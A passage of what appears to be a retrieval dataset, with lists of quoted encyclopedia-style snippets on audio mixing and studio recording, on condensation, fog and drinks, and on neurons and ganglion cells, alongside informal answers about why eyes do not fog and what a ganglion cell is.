mixing emerged with the introduction of commercial multi-track tape machines, most notably when 8-track recorders were introduced during the", "be part of a recording were mixed together at one time during a live performance. If the sound blend was not satisfactory, or if one musician made a mistake, the selection had to be performed over until the desired balance and performance was obtained. However, with the introduction of multitrack recording, the production phase of a modern recording has radically changed into one that generally involves three stages: recording, overdubbing, and mixdown. Film and television Audio mixing for film and television is a process during the post-production stage of a moving image program by which a multitude of recorded sounds", "the EBU R128 loudness protocol in Europe). \nThe different names of this profession are both based on the fact that the mixer is not mixing a live performance to a live audience nor recording live on a set. That is, he or she is re-recording sound already recorded elsewhere (the basis of the North American name) after passing it through mixing equipment such as a digital audio workstation and may dub in additional sounds in the process (the basis of the European name). While mixing can be performed in a recording studio or home office, a full-size", "is produced around studio constructions rather than the more traditional method of capturing a live performance as is. Techniques include the incorporation of non-musical sounds, overdubbing, tape edits, sound synthesis, audio signal processing, and combining segmented performances (takes) into a unified whole. Despite the widespread changes that have led to more compact recording set-ups, individual components such as DAWs are still referred to as \"the studio\". Evolution of recording processes Composers have been exploiting the potentials of multitrack recording since the technology was made available to them. Before the late 1940s, musical recordings were typically created with the idea of", "final track, so its recording was postponed until the other tracks were finished. The musicians’ perfectionism required extra time to complete the track and it was taped only on 10 October, a long time after the planned deadline for studio recording.\nThe mixing was supposed to be overseen by the band members, but their schedule in October was so tight that Lawrence did it without them. This dismayed the band at first, but the sound turned out cleaner, heavier and more polished than on their debut. The tapes were mixed in both mono and stereo, but the mono tapes were trashed,", "times on the compressor. These settings may be adjusted further until the compressor causes the signal to \"pump\" or \"breathe\" in tempo with the song, adding its own character to the sound. Unusually extreme implementations have been achieved by studio mix engineers such as New York-based Michael Brauer who uses five parallel compressors, adjusted individually for timbral and tonal variations, mixed and blended to taste, to achieve his target sound on vocals for the Rolling Stones, Aerosmith, Bob Dylan, KT Tunstall and Coldplay. Mix engineer Anthony \"Rollmottle\" Puglisi uses parallel compression applied conservatively across the entire mix, especially in dance-oriented", "your garage.\" Since Grohl's mixing console was not automated, at times four people—Vig, Grohl, Moulder and engineer James Brown—had to work simultaneously on the board, something Grohl found interesting because every song was done differently and \"even the mixes sounded like performances\" The mixes were tested out in the cars of the band members and Vig, as they felt that \"if it sounds good on a lousy stereo, it will sound good anywhere\".\nThe recording of the album was filmed as part of a career-spanning documentary called Back and Forth, which Grohl said was essential to make audiences understand the decision", "recorder are mixed and dubbed down onto a master four-track machine, enabling the engineers to give the group a virtual multitrack studio. EMI's Studer J37 four-track machines were well suited to reduction mixing, as the high quality of the recordings that they produced minimised the increased noise associated with the process. When recording the orchestra for \"A Day in the Life\", Martin synchronised a four-track recorder playing the Beatles' backing track to another one taping the orchestral overdub. The engineer Ken Townsend devised a method for accomplishing this by using a 50 Hz control signal between the two machines.\nThe production on", "appropriate, lead-in dialogue to the songs.\nIn recent years, some cast recordings have been recorded live, in recording studios incorporated into the theater concerned. Otherwise, live recordings tend to trade sound quality for freshness and immediacy. Alternate versions It is often the case that many cast recordings may be made for the same show. In addition to the recording of the cast of the original production, later high-profile productions may also produce cast recordings: for example, a recording by the cast of the first London production of a show that originated on Broadway, or of the first Broadway cast of a", "cases, a laugh track may augment these reactions.\nDuring the \"final mix\" the re-recording/dubbing mixers, guided by the director or producer, must make creative decisions from moment to moment in each scene about how loud each major sound element (dialog, sound effects, laugh track and music) should be relative to each other. They also modify individual sounds when desired by adjusting their loudness and spectral content and by adding artificial reverberation. They can insert sounds into a three-dimensional space of the listening environment for a variety of venues and release formats: movie theaters, home theater systems, etc. that have stereo and", "Audio components to equalize the recordings. Having enjoyed how the demos captured unintended background noises such as street sounds, McDonald deliberately left certain sounds that would have otherwise been unwanted in the final mix. \"I wanted it to sound like people in a room, rather than this polished kind of perfect crystalline thing\", he explained. \"It was all the small details that we really liked.\" In February, the group wrote and recorded \"Fantasy\", \"Shelter\", and \"Infinity\" before finishing xx, possibly by month's end according to McDonald; the album's liner notes credited the final date of recording as April 2009. Sim", "acoustic parameters of that particular auditorium. This requires various adjustments of equalization, bass, treble, volume, etc. While those adjustments may enhance the sound quality in the auditorium, they are not necessarily needed for the recording. In fact, those house mix adjustments often diminish the quality of the recorded sound. Once the bass, treble, volume and other effects of the house mix are added to the recording mix, it is most difficult to correct. In the reverse, adjustments and signal processing effects that are often used to enhance a recording mix are not always needed in the house mix.\nIn order to", "Audio mixing Audio mixing is the process by which multiple sounds are combined into one or more channels. In the process, a source's volume level, frequency content, dynamics, and panoramic position are manipulated or enhanced. This practical, aesthetic, or otherwise creative treatment is done in order to produce a finished version that is appealing to listeners.\nAudio mixing is practiced for music, film, television and live sound. The process is generally carried out by a mixing engineer operating a mixing console or digital audio workstation. Recorded music Before the introduction of multitrack recording, all the sounds and effects that were to", "tape, which accurately preserves the pitches they sing avoiding the potential pitch and speed fluctuations of analog recording. Lastly, the subjects' productions are compared to the actual tones sung by the artists on the CDs. Errors are measured in semitone deviations from the correct pitch. This test, however, does not determine whether or not the subject has true absolute pitch, but rather is a test of implicit absolute pitch. Where true absolute pitch is concerned, Deutsch and colleagues have shown that music conservatory students who are speakers of tone languages have a far higher prevalence of absolute pitch than", "\"to add layers to the mix. It has a built-in sampler and personalised effects that can entirely reform the track that is playing. Like everything, its use is situational. Sometimes I hardly touch it, but when I play a peak-time set it truly shines. I specifically look for and buy tracks that will work well with the device. Very stripped-down or minimalistic percussion locked grooves.\" When recording, she mostly uses Ableton Live music sequencer and digital audio workstation, as well as the Elektron Analog Four synth and sequencer.", "instrument or vocal being assigned to only one track of the four, while other producers chose to mix in content from the other channels to create more of a balance. A few producers created mixes in which the four output channels would pan in sequence through the four source channels to create a rotating sensation. The rarely-heard effect was spectacular, but as there was no technology to produce this automatically, it would require two mixing engineers who, with practice, could coordinate their efforts to create the effect. Due to this challenge, few songs were created with this effect. Other use", "which artificially separate signals into several tracks. The individual tracks (of which there may be hundreds) are then \"mixed down\" into a two-channel recording. The audio engineers determine where each track will be placed in the stereo \"image\", by using various techniques that may vary from very simple (such as \"left-right\" panning controls) to more sophisticated and extensively based on psychoacoustic research (such as channel equalization, compression and mid-side processing). The end product using this process often bears little or no resemblance to the actual physical and spatial relationship of the musicians at the time of the original performance; indeed,", "mix was done. During mixdown the tape machine ran at 48.75 Hz instead of the standard 50 Hz, so that the pitch on the released recording is nearly a quarter-tone flat from the key of E in which the song was performed.\nThe unusual noises during the song after the lines \"and the bag across her shoulder/ made her look a little like a military man\" were band members playing comb and paper.\nPink Floyd watched the Beatles recording \"Lovely Rita\". Later, Pink Floyd used effects inspired by \"Lovely Rita\" for recording their instrumental composition \"Pow R. Toc H.\" from their debut", "meaning they needed to piece together the takes of many instruments. After identifying material for at least five albums, Cuniberti was first asked to mix \"Imagemaker\" to determine if he could improve Gilbert's rough mixes they had on a Digital Audio Tape. The Shaming of the True was the first album they started mixing, on which the work began in early 1997. The mixing and additional recordings were done at Coast Recorders in San Francisco, California because of the vintage Neve console, of which Gilbert reportedly loved the sound. The final mix was based on Gilbert's rough mixes and a", "final product.\nAudio mixing techniques largely depend on music genres and the quality of sound recordings involved. The process is generally carried out by a mixing engineer, though sometimes the record producer or recording artist may assist. After mixing, a mastering engineer prepares the final product for production.\nAudio mixing may be performed on a mixing console or digital audio workstation. History In the late 19th century, Thomas Edison and Emile Berliner developed the first recording machines. The recording and reproduction process itself was completely mechanical with little or no electrical parts. Edison's phonograph cylinder system utilized a small horn terminated in", "figure out globally how real, how dry, how punchy can we get this thing to sound\", he added. Initially Riordan had featured more of the live instrumentation and mixed the songs a number of times, however felt that they needed a dry reverb hence he pondered on the mix along with co-producer coming to a consensus regarding the sound. According to Riordan, the mixing process was approved by Gaga who watched the cuts while travelling on the tour however, she did not ask Riordan to change anything, unlike previous projects the engineer had undertaken. The 5.1 mix was further orchestrated", "Recording studio as an instrument In music production the recording studio is often treated as a musical instrument when it plays a significant role in the composition of music. This is an approach that has been called \"playing the studio\" and it is typically embodied by artists or producers who emphasise the creative use of studio technology in completing finished works over simply utilising studio technology to record musical performances. Techniques include the incorporation of non-musical sounds, overdubbing, tape edits, sound synthesis, audio signal processing, and combining segmented performances (takes) into a unified whole.\nComposers have been exploiting the potentials of", "to be mixed. The band felt they were too close to the material, so they brought in outsider to mix the music. When they listened to the results, they trashed the mixes, and decided to do the mixes themselves, spending a couple weeks in the studio with Moore and their engineer, Tom Henderson.", "final mix took only a few hours. He said: \"There were a lot of tracks, but I just enjoyed it, to be honest. I knew how I wanted it to sound, and it was pretty much the last song we cut; a lot of the mixing was nailed in the production as well, which helped. Dream did a great job producing this track.\" The bar one guitar track of \"Schoolin' Life\" was entirely programmed. Similarly, the live drum section in the hook was actually done with programmed drums. Once the mixing was over, Swivel's impression were as follows:\n['Schoolin' Life] absolutely", "mix contains a wide variety of musical styles and aesthetics. \"Founder Robert Voisey said the 60-centric format – inspired by other intermission-free performances in New York – is designed to retain audiences' attention. And through \"60x60,\" he hopes to expose newcomers to electronic music.\"\nMore than 2000 composers have been included in the project. A few notable composers in the 60x60 project include: Liana Alexandra, Ernst Bacon, Dennis Bathory-Kitsz, Eve Beglarian, Stephen Betts, Colin Black, James Brody, George Brunner, Warren Burt, Monique Buzzarté, Christian Calon, David Campbell, Robert Carl, Gustav Ciamaga, fr:Paul Clouvel, Noah Creshevsky, Francis Dhomont, Robert Dick,", "multitrack recording since the technology was made available to them. Before the late 1940s, musical recordings were typically created with the idea of presenting a faithful rendition of a real-life performance. Following the advent of three-track tape in the mid 1950s, recording spaces became more accustomed for in-studio composition. By the late 1960s, in-studio composition had become standard practice, and remained so into the 2010s. Despite the widespread changes that have led to more compact recording set-ups, individual components such as digital audio workstations are still referred to as \"the studio\". Definitions \"Playing the studio\" is critical shorthand for in-studio", "mix as the participants began to party in the studio. A B-side was also produced by Trevor Horn in his own studio, using the same instrumental track and featuring messages from artists who had been at the recording, and also from those who had been unable to attend, including David Bowie, Paul McCartney, the members of Big Country and Holly Johnson from Frankie Goes to Hollywood. Style and content The song comprises two parts: a verse and bridge which allow individual singers to perform different lines; and a chorus in the form of two repeated phrases by ensemble. The first" ]

[ "It's not just temperature difference that matters, the surface still needs to be fairly cold otherwise the water vapor won't condensate on the surface. I don't know what sort of temperature's you'd need though, so this may not actually make a difference in the case of your eyes.\n\nThe main reason though, is that your eyes are already wet. Human eyes are designed to be moist at all times, that's why we blink and why we have tear ducts, to keep them moist. I bet you have at some point had really horrible felling eyes, it will have been because they were dry. It's not that this means we are always looking through fog, the condensation that fogs up glasses isn't a single sheet, it's loads of tiny little droplets, that's what makes it hard to see through. Even if water did condense onto our eyes, it would just spread out across the film of water already there, and so we'd still see through it.\n\nAs for contact lenses, they are going to be just as moist as your eyeballs would be, so they are protected int he same way.\n\nThere are a couple of ways we could stop glasses from fogging up. Most glasses do already have an anti-fog layer on them to help prevent it happening all the time, without this coating it would happen with lower temperature differences and less water vapor. One way to improve this layer would be to make it perfectly hydrophobic, so any water would just slide straight off, or we could integrate some sort of pump so that your glasses are constantly covered in a thin film of water. In either case, It think it's easier to just wipe the condensation off once in a while." ]

[ "the drinker to hold the glass without affecting the temperature of the drink, an important aspect due to the lack of added ice which in other drinks serves to cool the drink, and the wide bowl places the surface of the drink directly under the drinker's nose, ensuring the aromatic element has the desired effect. In the modern day cocktail glasses without stems are common, however, these glasses warm very quickly, a phenomenon the original stem addressed. Martini glass Although the terms 'cocktail glass' and 'martini glass' are often used interchangeably, the former is slightly smaller, more rounded (in contrast", "the hail and when wind is light. This ground fog tends to be localized but can be extremely dense and abrupt. It may form shortly after the hail falls; when the hail has had time to cool the air and as it absorbs heat when melting and evaporating.\nUpslope fog forms when moist air is going up the slope of a mountain or hill (orographic lifting) which condenses into fog on account of adiabatic cooling, and to a lesser extent the drop in pressure with altitude. Freezing conditions Freezing fog occurs when liquid fog droplets freeze to surfaces, forming white soft", "vodka or coffee liqueur, or mixed brands of coffee liqueur. Shaking the cream in order to thicken it prior to pouring it over the drink is also common. Sometimes the drink is prepared on the stove with hot coffee for a warm treat on cold days. Conversely, vanilla ice cream has been known to be used, rather than cream, to make it frozen. Variations Many variants of the cocktail exist, both localized and widely known, such as a Blind Russian (also known as a Muddy Water) which substitutes cream with Irish Cream, a Mudslide (a Blind Russian with both),", "pulled into the lid after brewing, trapping the grounds out of the coffee. Others produce a similar effect by having shutters that can be closed via the top of the press, sealing the grounds off from the coffee entirely. French presses are also sometimes used to make cold brew coffee. Tea In the same way as coffee, a French press can also be used in place of a tea infuser to brew loose tea. To some extent the tea will continue to steep even after the plunger is depressed, which may cause the tea remaining in the press to become", "of the bottle. After chilling the bottles, the neck is frozen, and the cap removed. This process is called disgorgement. The pressure in the bottle forces out the ice containing the lees, some wine from previous vintages as well as additional sugar (le dosage) is added to maintain the level within the bottle and, importantly, adjust the sweetness of the finished wine and then the bottle is quickly corked to maintain the carbon dioxide in solution. . Bubbles An initial burst of effervescence occurs when the Champagne contacts the dry glass on pouring. These bubbles form on imperfections in the", "the bubble tea can be added to these slushie-like drinks. One drawback is that the coldness of the iced drink may cause the tapioca balls to harden, making them difficult to suck up through a straw and chew. To prevent this from happening, these slushies must be consumed more quickly than bubble tea.\nBubble tea stores often give customers the option of choosing the amount of ice or sugar, usually using percentages. Bubble tea is also offered in some restaurants, like the Michelin-awarded Din Tai Fung. History There are two competing stories for the origin of bubble tea. The Hanlin Tea", "causes the face to appear \"flushed\" after being outside on a cold day. In both instances, the low temperature causes the capillaries in the sinuses to constrict and then experience extreme rebound dilation as they warm up again.\nIn the palate, this dilation is sensed by nearby pain receptors, which then send signals back to the brain via the trigeminal nerve, one of the major nerves of the facial area. This nerve also senses facial pain, so as the neural signals are conducted the brain interprets the pain as coming from the forehead—the same \"referred pain\" phenomenon seen in heart attacks.", "results of refraction of sunlight by the airborne crystals.\nFreezing fog, which deposits rime, is composed of droplets of supercooled water that freeze to surfaces on contact.\nPrecipitation fog (or frontal fog) forms as precipitation falls into drier air below the cloud, the liquid droplets evaporate into water vapor. The water vapor cools and at the dewpoint it condenses and fog forms.\nHail fog sometimes occurs in the vicinity of significant hail accumulations due to decreased temperature and increased moisture leading to saturation in a very shallow layer near the surface. It most often occurs when there is a warm, humid layer atop", "creamer in the ordinary amounts used in a cup of coffee do not face a risk of dust explosion.", "brandy and drank the beverage cold to counter the heat. Furthermore, French colonial troops near Mazagran were served a beverage prepared with coffee syrup and water. When the soldiers returned to Paris, they suggested to cafés to serve the beverage and the notion of it being served in tall glasses. Upon this introduction, the beverage was named café mazagran. In France, coffee served in glasses is referred to as \"mazagrin\". Preparation and varieties Mazagran is prepared with strong, hot coffee that is poured over ice, and it is typically served in a narrow, tall glass. It has also been described", "white filaments. When the tea is being brewed, tea leaves first float up to the top and then sink to the bottom in a vertical position as if they were swords standing upward creating a peculiar phenomenon in the tea cup.", "true purpose of the cocktail umbrella is unknown. Some bartenders say that the cocktail umbrella is only decorative. Other bartenders have argued that the umbrella provides shade that slows the melting of ice when the drink is served outdoors. However, the temperature outside matters more than direct sunlight when it comes to the melting of ice. The shade from the cocktail umbrella would do nothing to slow this down. Another hypothesis about the cocktail umbrella’s purpose is that its absence can lead to faster evaporation of alcohol due to direct sunlight when the drink is served outdoors. Chemists reject", "tea pot high above the table and pouring the hot tea at least twelve inches through the air into small glasses. (Glasses made of glass, not porcelain cups.) If the sugar is added to the pot, the tea is sometimes poured from the glasses back into the pot (before anyone has sipped) and the process is repeated. This mixes the sugar into the tea. Western Africans generally drink their tea very sweet.\nThe first glass of tea is quite bitter, the second is sweeter and the third is very sweet but does not have much taste because the same leaves are", "served as white coffee with a dairy product such as milk or cream, or dairy substitute, or as black coffee with no such addition. It may be sweetened with sugar or artificial sweetener. When served cold, it is called iced coffee.\nEspresso-based coffee has a variety of possible presentations. In its most basic form, an espresso is served alone as a shot or short black, or with hot water added, when it is known as Caffè Americano. A long black is made by pouring a double espresso into an equal portion of water, retaining the crema, unlike Caffè Americano.\nMilk is added", "appearance when a hot beverage is poured into them. General design and functions Much of the mug design aims at thermal insulation: the thick walls of a mug, as compared to the thinner walls of teacups, insulate the beverage to prevent it from cooling or warming quickly. The mug bottom is often not flat, but either concave or has an extra rim, to reduce the thermal contact with the surface on which a mug is placed. These features often leave a characteristic circular stain on the surface. Finally, the handle of a mug keeps the hand away from the hot", "is stored away from moisture, heat, and light. The ability of coffee to absorb strong smells from food means that it should be kept away from such smells. Storage of coffee in refrigerators is not recommended due to the presence of moisture which can cause deterioration. Exterior walls of buildings which face the sun may heat the interior of a home, and this heat may damage coffee stored near such a wall. Heat from nearby ovens also harms stored coffee.\nIn 1931, a method of packing coffee in a sealed vacuum in cans was introduced. The roasted coffee was packed and", "allows the tea to be poured evenly into tiny glasses from a height. For the best taste, glasses are filled in two stages. The Moroccans traditionally like tea with bubbles, so while pouring they hold the teapot high above the glasses. Finally, the tea is accompanied with hard sugar cones or lumps. Morocco has an abundance of oranges and tangerines, so fresh orange juice is easily found freshly squeezed and is cheap. Snacks and fast food Selling fast food in the street has long been a tradition, and the best example is Djemaa el Fna square in Marrakech. Starting in", "recent times by restaurants in the preparation of frozen desserts, such as ice cream, which can be created within moments at the table because of the speed at which it cools food. Similarly, liquid nitrogen has become popular in the preparation of cocktails because it can be used to quickly chill glasses or freeze ingredients. It is also added to drinks to create a smoky effect, which is created by the cold nitrogen vapour (liquid nitrogen boils at -195.8 Celsius at normal atmospheric pressure) condensing the moisture (i.e., water vapor) in the surrounding air above. Safety concerns Because of its", "does not start pouring down immediately. This is because of the chicory, which holds on to the water longer than just the ground coffee beans can. This causes the beverage to be much more potent than the American drip variety. 2–3 teaspoonfuls of this decoction is added to a 100–150 ml milk. Sugar is then sometimes added by individual preference.\nAnother variation is cold brew coffee, sometimes known as \"cold press.\" Cold water is poured over coffee grounds and allowed to steep for eight to twenty-four hours. The coffee is then filtered, usually through a very thick filter, removing all particles. This", "a way as possible without distracting from it. The color and texture of the background is selected so as to effectively complement that of the food and to assist with its lighting.\nStyled food is usually marked as inedible and discarded after the shoot, because it may have been handled or treated in ways that make it unsafe for consumption. Cold beverages To create the effect of a thin layer of condensation forming on the outside of glasses containing cold liquid, dulling spray may be applied, with paper or masking tape protecting the non-\"frosted\" areas. More pronounced condensation and dew drops", "day: made from drink crystals and served from a stand at the foot of the driveway. Accordingly, there's a lot of sugar stirred in that hasn't quite dissolved, and probably won't. Which is why you buy a 25-cent glass to be kind, but only pretend to take a sip.\" Marianne Mychaskiw of InStyle magazine described the perfume as a \"flirty take on the original version\". HollywoodLife's Jennifer Tzeses praised the perfume, describing it as a \"light, playful scent\". She also added that \"[the] scent captures the feel of a happy, sun-filled summer day... 'Beyoncé Pulse Summer Edition' echoes the same", "open a Champagne bottle with great ceremony. This technique is called sabrage (the term is also used for simply breaking the head of the bottle). Pouring Champagne Pouring sparkling wine while tilting the glass at an angle and gently sliding in the liquid along the side will preserve the most bubbles, as opposed to pouring directly down to create a head of \"mousse\", according to a study, On the Losses of Dissolved CO₂ during Champagne serving, by scientists from the University of Reims. Colder bottle temperatures also result in reduced loss of gas. Additionally, the industry is developing Champagne", "in a restaurant, I am never served a cooked telephone; I do not understand why champagne is always chilled and why on the other hand telephones, which are habitually so frightfully warm and disagreeably sticky to the touch, are not also put in silver buckets with crushed ice around them.\nTelephone frappé, mint-coloured telephone, aphrodisiac telephone, lobster-telephone, telephone sheathed in sable for the boudoirs of sirens with fingernails protected with ermine, Edgar Allan Poe telephones with a dead rat concealed within, Boecklin telephones installed inside a cypress tree (and with an allegory of death in inlaid silver on their backs), telephones", "of smaller ice crystals, which provides the dessert with a smoother texture. The technique is employed by chef Heston Blumenthal who has used it at his restaurant, The Fat Duck to create frozen dishes such as egg and bacon ice cream. Liquid nitrogen has also become popular in the preparation of cocktails because it can be used to quickly chill glasses or freeze ingredients. It is also added to drinks to create a smoky effect, which occurs as tiny droplets of the liquid nitrogen come into contact with the surrounding air, condensing the vapour that is naturally present. Safety Because", "and cramps from diarrhea and stomach ache. Used as an eyewash it reduces redness and pain from hay fever, wind and dust. Tea concentrate has been marketed as a coffee substitute. Unlike coffee which is a vasoconstrictor, sweetscent tea is a vasodilator. It is contraindicated for people who get migraines, during pregnancy, and should be used in moderation.", "necessary to check if dry eye is the actual cause of the problem (measured by a tear meniscus test) or whether there are no actual symptoms of dry eye at all.\nDry eyes because of CVS can also be treated using moisture chamber glasses or humidifier machines. Office spaces with artificially dry air can worsen CVS syndromes, in which case, a desktop or a room humidifier can help the eyes keep a healthy moisture level.\nAt night, CVS can become worse. It is recommended to use a dark user interface while working at night on the computer. Several browser and OS add-ons", "the liqueur's appearance from dark transparent yellow to milky soft yellow, a phenomenon also present with absinthe and known as the ouzo effect. The drink is consumed cold and considered a refreshment for hot days. Ice cubes can be added (after the water, in order to avoid crystallization of the anethole in the pastis). However, many pastis drinkers decline to add ice, preferring to drink the beverage with cool spring water.\nAlthough consumed throughout France, pastis is generally associated with southeastern regions of the country, particularly the city of Marseille, where it is nicknamed Pastaga, and with such clichés of the", "flavour can then last for one to two months. If beans are frozen, leaving them frozen until brewing best preserves the flavour of the coffee. Frozen beans will grind the same as unfrozen beans, but refreezing beans alters the quality of the coffee. Coffee grounds are stored in metal containers that are non-reactive airtight ceramic or glass containers, like roasted beans. Due to increased total surface area of coffee grounds, the grounds go stale in days, rather than weeks. In addition, freezing has no effect in increasing the storage life of coffee grounds.", "an appropriate moderate water pressure; a high pressure makes the water run too quickly, resulting in coffee with little flavour. The flame under the caffettiera has to be turned off ten seconds after the first characteristic noise is heard, and eventually lit again in case the cup was not filled. Coffee house A related but separate translation of the Italian caffetteria is coffee house or café: an establishment in which caffè was traditionally made with a Moka. These places became common in the 19th century specifically for enjoying caffè, while the habit of caffè drinking at home started at the", "environment, the liquid droplets will freeze onto these crystals and be effectively removed before they can grow large enough to fall out of the cloud. As a result, freezing drizzle develops in shallow stratus-type clouds where saturation occurs entirely below the layer in which ice crystals can develop and grow. Effects When freezing drizzle accumulates on land, it creates an icy layer of glaze. Freezing drizzle alone does not generally result in significant ice accumulations due to its light, low-intensity nature. However, even thin layers of slick ice deposited on roads as black ice can cause extremely hazardous conditions resulting" ]

[ "A neuron is a cell that allows different parts of your body to communicate with each other. Neurons are made up of three parts- a cell body, which is the control center of the cell, dentrites, which gather information for the cell, and an axon, which passes the information on to another cell in your body.\n\nAll nerve cells (neruons) come together to make up the nervous system, which is broken down into to major parts- the peripheral nervous system and the central nervous system. The peripheral nervous system consists of all the neurons outside of the brain and spinal cord, while the central nervous system is the neurons of the brain and spinal cord. A ganglion is a group of neuron cell bodies in the peripheral nervous system, so a ganglion cell would be one of the neurons located in a ganglion." ]

[ "functions\". The two important regions of a neuron are the dendrite and the axon. \"Dendrites are the region where one neuron receives connections from other neurons. The cell body or soma contains the nucleus and the other organelles necessary for cellular function. The axon is a key component of nerve cells over which information is transmitted from one part of the neuron (e.g., the cell body) to the terminal regions of the neuron\". The third important piece of a neuron is the synapse. \"The synapse is the terminal region of the axon this is where one neuron forms", "Other animals A neuron is called identified if it has properties that distinguish it from every other neuron in the same animal—properties such as location, neurotransmitter, gene expression pattern, and connectivity—and if every individual organism belonging to the same species has exactly one neuron with the same set of properties. In vertebrate nervous systems, very few neurons are \"identified\" in this sense. Researchers believe humans have none—but in simpler nervous systems, some or all neurons may be thus unique.\nIn vertebrates, the best known identified neurons are the gigantic Mauthner cells of fish. Every fish has two Mauthner cells,", "from one cell to another. Many neurons extrude a long thin filament of axoplasm called an axon, which may extend to distant parts of the body and are capable of rapidly carrying electrical signals, influencing the activity of other neurons, muscles, or glands at their termination points. A nervous system emerges from the assemblage of neurons that are connected to each other.\nThe vertebrate nervous system can be split into two parts: the central nervous system (defined as the brain and spinal cord), and the peripheral nervous system. In many species — including all vertebrates — the nervous system is the", "Pseudounipolar neuron Structure By definition, a pseudounipolar neuron has one axon with two branches: central and peripheral. These axonal branches should not be confused with dendrites. These sensory neurons are an exception to the typical neuron, in that they do not have separate dendrites and an axonal process, but rather one branched process that serves both functions. The axon has a peripheral branch (from the cell body to the periphery: skin, joint and muscle) and a central branch (from the cell body to spinal cord). In the dorsal root ganglia The soma (cell body) of each pseudounipolar neuron is located", "Ganglion mother cell Ganglion mother cells (GMCs) are cells involved in neurogenesis, in non-mammals, that divide only once to give rise to two neurons, or one neuron and one glial cell or two glial cells, and are present only in the central nervous system. They are also responsible for transcription factor expression. While each ganglion mother cell necessarily gives rise to two neurons, a neuroblast can asymmetrically divide multiple times. GMCs are the progeny of type I neuroblasts. Neuroblasts asymmetrically divide during embryogenesis to create GMCs. GMCs are only present in certain species and only during the embryonic and larval", "ganglion cells exist. Type I spiral ganglion cells comprise the vast majority of spiral ganglion cells (90-95% in cats and 88% in humans), and exclusively innervate the inner hair cells. They are myelinated, bipolar neurons. Type II spiral ganglion cells make up the remainder. In contrast to Type I cells, they are unipolar and unmyelinated in most mammals. They innervate the outer hair cells, with each Type II neuron sampling many (15-20) outer hair cells. In addition, outer hair cells form reciprocal synapses onto Type II spiral ganglion cells, suggesting that the Type II", "area to another. Cellular structure The brains of all species are composed primarily of two broad classes of cells: neurons and glial cells. Glial cells (also known as glia or neuroglia) come in several types, and perform a number of critical functions, including structural support, metabolic support, insulation, and guidance of development. Neurons, however, are usually considered the most important cells in the brain.\nThe property that makes neurons unique is their ability to send signals to specific target cells over long distances. They send these signals by means of an axon, which is a thin protoplasmic fiber that extends from", "Somatic cell A somatic cell (from the Greek σῶμα sôma, meaning \"body\") or vegetal cell is any biological cell forming the body of an organism; that is, in a multicellular organism, any cell other than a gamete, germ cell, gametocyte or undifferentiated stem cell.\nIn contrast, gametes are cells that fuse during sexual reproduction, germ cells are cells that give rise to gametes, and stem cells are cells that can divide through mitosis and differentiate into diverse specialized cell types. For example, in mammals, somatic cells make up all the internal organs, skin, bones, blood and connective tissue, while mammalian", "cells come in many types (see, for example, the nervous system section of the list of distinct cell types in the adult human body). Neurons are the information-processing cells of the nervous system: they sense our environment, communicate with each other via electrical signals and chemicals called neurotransmitters which generally act across synapses (close contacts between two neurons, or between a neuron and a muscle cell; note also extrasynaptic effects are possible, as well as release of neurotransmitters into the neural extracellular space), and produce our memories, thoughts and movements. Glial cells maintain homeostasis, produce myelin (oligodendrocytes), and provide support", "of the cellular architecture or neurochemistry, grouped together components that are now believed to have distinct functions (such as the internal and external segments of the globus pallidus), and gave distinct names to components that are now thought to be functionally parts of a single structure (such as the caudate nucleus and putamen).\nThe term \"basal\" comes from the fact that most of its elements are located in the basal part of the forebrain. The term ganglia is a misnomer: In modern usage, neural clusters are called \"ganglia\" only in the peripheral nervous system; in the central nervous system they are", "Neuroblast A neuroblast or primitive nerve cell is a postmitotic cell that does not divide further, and which will develop into a neuron after a migration phase. Neuroblasts differentiate from radial glial cells and are committed to becoming neurons. Neural stem cells, which only divide symmetrically to produce more neural stem cells, transition gradually into radial glial cells. Radial glial cells, also called radial glial progenitor cells, divide asymmetrically to produce a neuroblast and another radial glial cell that will re-enter the cell cycle.\nThis mitosis occurs in the germinal neuroepithelium (or germinal zone), when a radial glial cell divides to", "Lateral grey column Nervous system The nervous system is the system of neurons, or nerve cells, that relay electrical signals through the brain and body. A nerve cell receives signals from other nerve cells through tree-branch-like extensions called dendrites and passes signals on through a long extension called an axon (or nerve fiber). Synapses are places where one cell's axon passes information to another cell's dendrite by sending chemicals called neurotransmitters across a small gap called a synaptic cleft. Synapses occur in various locations, including ganglia (singular: ganglion), which are masses of nerve cell bodies. Preganglionic nerve cells", "Retina bipolar cell Structure Bipolar cells are so-named as they have a central body from which two sets of processes arise. They can synapse with either rods or cones (rod/cone mixed input BCs have been found in teleost fish but not mammals), and they also accept synapses from horizontal cells. The bipolar cells then transmit the signals from the photoreceptors or the horizontal cells, and pass it on to the ganglion cells directly or indirectly (via amacrine cells). Unlike most neurons, bipolar cells communicate via graded potentials, rather than action potentials. Function Bipolar cells receive synaptic input from either", "synapses. Synapses are specialized junctions between two cells in close apposition to one another. In a synapse, the neuron that sends the signal is the presynaptic neuron and the target cell receives that signal is the postsynaptic neuron or cell. Synapses can be either electrical or chemical. Electrical synapses are characterized by the formation of gap junctions that allow ions and other organic compound to instantaneously pass from one cell to another. Chemical synapses are characterized by the presynaptic release of neurotransmitters that diffuse across a synaptic cleft to bind with postsynaptic receptors. A neurotransmitter is a chemical messenger that", "that wrap around and segregate them into nerve fascicles.\nThe vertebrate nervous system is divided into the central and peripheral nervous systems. The central nervous system (CNS) consists of the brain, retina, and spinal cord, while the peripheral nervous system (PNS) is made up of all the nerves and ganglia (packets of peripheral neurons) outside of the CNS that connect it to the rest of the body. The PNS is further subdivided into the somatic and autonomic nervous systems. The somatic nervous system is made up of \"afferent\" neurons, which bring sensory information from the somatic (body) sense organs to the", "in the interior. \"Identified\" neurons A neuron is called identified if it has properties that distinguish it from every other neuron in the same animal—properties such as location, neurotransmitter, gene expression pattern, and connectivity—and if every individual organism belonging to the same species has one and only one neuron with the same set of properties. In vertebrate nervous systems very few neurons are \"identified\" in this sense—in humans, there are believed to be none—but in simpler nervous systems, some or all neurons may be thus unique. In the roundworm C. elegans, whose nervous system is the most thoroughly", "Neuropeptide Neuropeptides are small protein-like molecules (peptides) used by neurons to communicate with each other. They are neuronal signalling molecules that influence the activity of the brain and the body in specific ways. Different neuropeptides are involved in a wide range of brain functions, including analgesia, reward, food intake, metabolism, reproduction, social behaviors, learning and memory.\nNeuropeptides are related to peptide hormones, and in some cases peptides that function in the periphery as hormones also have neuronal functions as neuropeptides. The distinction between neuropeptide and peptide hormone has to do with the cell types that release and respond to the", "synaptodendritic web In classic brain theory the summation of electrical inputs to the dendrites and soma (cell body) of a neuron either inhibit the neuron or excite it and set off an action potential down the axon to where it synapses with the next neuron. However, this fails to account for different 